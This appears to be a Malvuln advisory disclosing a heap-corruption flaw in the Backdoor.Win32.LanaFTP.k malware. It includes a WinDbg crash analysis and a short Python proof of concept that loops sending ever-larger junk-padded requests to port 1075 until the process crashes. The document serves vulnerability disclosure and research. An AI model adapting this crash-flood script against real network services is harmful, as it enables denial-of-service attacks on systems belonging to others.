Backdoor.Win32.LanaFTP.k malware suffers from a heap corruption vulnerability.
8d45b472da2b1e31d5c236d766e3f90fDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/e2660742a80433e027ee9bdedc40e190.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.LanaFTP.k
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 1075. Third-party attackers who can reach the server can send a specially crafted sequential payload causing a heap corruption.
Type: PE32
MD5: e2660742a80433e027ee9bdedc40e190
Vuln ID: MVID-2021-0369
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 10/15/2021
Memory Dump:
(5ec.db4): Access violation - code c0000005 (first/second chance not available)
eax=0000168f ebx=026b6ad8 ecx=00000000 edx=a0026800 esi=026b6ae0 edi=02680000
eip=776e2d6c esp=04aaf8b8 ebp=04aafa78 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
ntdll!RtlpAllocateHeap+0x37c:
776e2d6c 8b5204 mov edx,dword ptr [edx+4] ds:002b:a0026804=????????
0:007> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe
FAULTING_IP:
ntdll!RtlpAllocateHeap+37c
776e2d6c 8b5204 mov edx,dword ptr [edx+4]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 776e2d6c (ntdll!RtlpAllocateHeap+0x0000037c)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: a0026804
Attempt to read from address a0026804
PROCESS_NAME: Backdoor.Win32.LanaFTP.k.e2660742a80433e027ee9bdedc40e190.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: a0026804
READ_ADDRESS: a0026804
FOLLOWUP_IP:
msvcrt!__CRTDLL_INIT+fa
744c5720 85c0 test eax,eax
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00000db4
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_INVALID_POINTER_READ
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption
LAST_CONTROL_TRANSFER: from 776e16b7 to 776e2d6c
STACK_TEXT:
04aafa78 776e16b7 00000208 00000210 0268039c ntdll!RtlpAllocateHeap+0x37c
04aafac8 776e13ee 002c0008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7
04aafae4 77700ee3 02680000 002c0008 00000208 ntdll!RtlAllocateHeap+0x3e
04aafb14 74a0f6f6 00000000 74490000 02843330 ntdll!RtlProcessFlsData+0x53
04aafb28 744c5720 00000001 02843330 04aafb50 KERNELBASE!FlsSetValue+0x46
04aafb3c 7770e746 74490000 00000002 00000000 msvcrt!__CRTDLL_INIT+0xfa
04aafb5c 776dcbef 744c5610 74490000 00000002 ntdll!LdrxCallInitRoutine+0x16
04aafba8 776da6dd 00000002 00000000 f0911053 ntdll!LdrpCallInitRoutine+0x7f
04aafc98 77703b28 f091103b 04aafd24 776a0000 ntdll!LdrpInitializeThread+0x1ed
04aafcf0 7770370e 00000000 00000000 04aafd10 ntdll!_LdrpInitialize+0x40d
04aafd00 777036bc 00000000 f09111db 00000000 ntdll!LdrpInitialize+0x34
04aafd10 00000000 04aafd24 776a0000 00000000 ntdll!LdrInitializeThunk+0x1c
SYMBOL_STACK_INDEX: 5
SYMBOL_NAME: msvcrt!__CRTDLL_INIT+fa
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: msvcrt
IMAGE_NAME: msvcrt.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 692918b7
STACK_COMMAND: !heap ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~7s; .ecxr ; kb
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_c0000005_msvcrt.dll!__CRTDLL_INIT
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_entry_corruption_INVALID_POINTER_READ_msvcrt!__CRTDLL_INIT+fa
Exploit/PoC:
MALWARE_HOST="x.x.x.x"
PORT=1075
sz=1000
def doit():
global sz
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
sz += 1000
JUNK = "A"*sz
PAYLOAD="POST /\r\n"+JUNK+ " HTTP\r\n/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PAYLOAD)
s.close()
if __name__=="__main__":
while 1:
doit()
print("Malvuln")
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